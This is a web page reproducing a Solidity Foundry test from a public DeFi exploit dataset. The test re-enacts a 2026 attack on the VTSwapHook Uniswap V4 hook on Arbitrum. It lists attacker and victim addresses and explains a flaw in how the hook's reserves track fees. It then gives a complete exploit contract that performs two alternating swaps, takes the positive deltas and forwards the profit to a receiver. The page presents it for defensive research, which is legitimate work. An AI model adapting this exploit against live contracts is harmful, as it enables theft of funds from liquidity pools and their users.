Public reproduction file
src/test/2026-03/VTSwapHook_exp.sol
Public reproduction file for dataset entry VTSwapHook.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4,507,034.03 vATH + 2,007,935.14 ATH8// Attacker : 0xf378840de079c70f55218cd3af99d2d81ba154ba9// Attack Contract : 0x959ec1872100eccb8c9ac355304fed81fa5d237e10// Vulnerable Contract : 0xbf4b4a83708474528a93c123f817e7f2a0637a8811// Attack Tx : https://arbiscan.io/tx/0x61a37afac7991e25391d72846819644a0938ce20ebab25ccf3a1123e1bb9459d13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0xbf4b4a83708474528a93c123f817e7f2a0637a88#code16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/203864714609895428318//19// VTSwapHook priced a nonlinear VT/T curve through fee-adjusted amounts but updated20// its internal reserves with the full pre-fee specified amount. Alternating one21// exact-in ATH->vATH swap with one exact-output vATH->ATH swap leaves the caller22// with positive Uniswap V4 PoolManager deltas in both currencies.24address constant ATTACKER = 0xF378840dE079c70f55218cD3AF99D2D81ba154BA;25address constant ATTACK_CONTRACT = 0x959EC1872100eccb8C9AC355304fED81FA5d237E;26address constant VTSWAP_HOOK = 0xbf4b4A83708474528A93C123F817e7f2A0637a88;27address constant POOL_MANAGER = 0x360E68faCcca8cA495c1B759Fd9EEe466db9FB32;28address constant VATH = 0x24ef95c39DfaA8f9a5ADf58edf76C5b22c34Ef46;29address constant ATH = 0xc87B37a581ec3257B734886d9d3a581F5A9d056c;31// Uniswap V4 rejects swap price limits equal to TickMath's min/max bounds.32uint160 constant V4_MIN_USABLE_SQRT_PRICE = 4_295_128_740;33uint160 constant V4_MAX_USABLE_SQRT_PRICE = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;35struct PoolKey {36 address currency0;37 address currency1;38 uint24 fee;39 int24 tickSpacing;40 address hooks;41}43struct SwapParams {44 bool zeroForOne;45 int256 amountSpecified;46 uint160 sqrtPriceLimitX96;47}49interface IUniswapV4PoolManager {50 function unlock(51 bytes calldata data52 ) external returns (bytes memory);53 function swap(54 PoolKey memory key,55 SwapParams memory params,56 bytes calldata hookData57 ) external returns (int256);58 function take(59 address currency,60 address to,61 uint256 amount62 ) external;63}65interface IVTSwapHook {66 function reserve1() external view returns (uint256);67}69contract ContractTest is BaseTestWithBalanceLog {70 function setUp() public {71 uint256 forkBlock = 446_382_719;72 vm.createSelectFork("arbitrum", forkBlock);74 multiAssetLog = true;75 attacker = ATTACKER;76 _addFundingToken(VATH);77 _addFundingToken(ATH);79 vm.label(ATTACKER, "Attacker / Profit Receiver");80 vm.label(ATTACK_CONTRACT, "Trace Attack Contract");81 vm.label(VTSWAP_HOOK, "VTSwapHook");82 vm.label(POOL_MANAGER, "Uniswap V4 PoolManager");83 vm.label(VATH, "vATH");84 vm.label(ATH, "ATH");85 }87 function testExploit() public balanceLog {88 uint256 vAthBefore = IERC20(VATH).balanceOf(ATTACKER);89 uint256 athBefore = IERC20(ATH).balanceOf(ATTACKER);91 // step 1: deploy a fresh helper; the trace helper was created in the tx and had no pre-existing state.92 VTSwapHookExploit exploit = new VTSwapHookExploit(ATTACKER);94 // step 2: execute one profitable V4 unlock round trip and forward both assets to the trace receiver.95 exploit.execute();97 assertGt(IERC20(VATH).balanceOf(ATTACKER), vAthBefore, "no vATH profit");98 assertGt(IERC20(ATH).balanceOf(ATTACKER), athBefore, "no ATH profit");99 }100}102contract VTSwapHookExploit {103 IUniswapV4PoolManager private constant manager = IUniswapV4PoolManager(POOL_MANAGER);104 IVTSwapHook private constant hook = IVTSwapHook(VTSWAP_HOOK);106 address private immutable receiver;107 int256 private netDelta0;108 int256 private netDelta1;110 constructor(111 address profitReceiver112 ) {113 receiver = profitReceiver;114 }116 function execute() external {117 IERC20(VATH).approve(POOL_MANAGER, type(uint256).max);118 IERC20(ATH).approve(POOL_MANAGER, type(uint256).max);119 netDelta0 = 0;120 netDelta1 = 0;121 manager.unlock("");123 uint256 vAthProfit = IERC20(VATH).balanceOf(address(this));124 uint256 athProfit = IERC20(ATH).balanceOf(address(this));125 IERC20(VATH).transfer(receiver, vAthProfit);126 IERC20(ATH).transfer(receiver, athProfit);127 }129 function unlockCallback(130 bytes calldata131 ) external returns (bytes memory) {132 require(msg.sender == POOL_MANAGER, "only PoolManager");134 // step 3: reproduce the trace's first ATH->vATH exact-in swap using 35% of the current ATH reserve.135 uint256 exactInATH = hook.reserve1() * 35 / 100;136 int128 vAthCredit = _swap(false, -int256(exactInATH), V4_MAX_USABLE_SQRT_PRICE);138 // step 4: swap back with the first swap's vATH credit as exact-output size.139 _swap(true, int256(uint256(uint128(vAthCredit))), V4_MIN_USABLE_SQRT_PRICE);141 require(netDelta0 > 0 && netDelta1 > 0, "round trip not profitable");143 // step 5: take the positive flash-accounting deltas; no input settlement is needed.144 manager.take(VATH, address(this), uint256(netDelta0));145 manager.take(ATH, address(this), uint256(netDelta1));146 return "";147 }149 function _swap(150 bool zeroForOne,151 int256 amountSpecified,152 uint160 priceLimit153 ) private returns (int128 amount0) {154 int256 packedDelta = manager.swap(155 PoolKey({currency0: VATH, currency1: ATH, fee: 0, tickSpacing: 1, hooks: VTSWAP_HOOK}),156 SwapParams({zeroForOne: zeroForOne, amountSpecified: amountSpecified, sqrtPriceLimitX96: priceLimit}),157 ""158 );159 int128 delta0 = int128(packedDelta >> 128);160 int128 delta1 = int128(packedDelta);161 netDelta0 += delta0;162 netDelta1 += delta1;163 return delta0;164 }165}Analysis
Dataset entry
Public Foundry test for “VTSwapHook” (2026-03-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf378840de079c70f55218cd3af99d2d81ba154ba
- Attack Contract
0x959ec1872100eccb8c9ac355304fed81fa5d237e
- Vulnerable Contract
0xbf4b4a83708474528a93c123f817e7f2a0637a88
- Attack Tx
0x61a37afac7991e25391d72846819644a0938ce20ebab25ccf3a1123e1bb9459d
File record
- Name
- VTSwapHook
- Path
- src/test/2026-03/VTSwapHook_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- dd7d50235f33c9c5e5ad431779170606a11d6f82
- Language
- Solidity
- Size
- 166 lines
- Date
- 2026-03-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/VTSwapHook_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dd7d50235f33c9c5e5ad431779170606a11d6f82, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.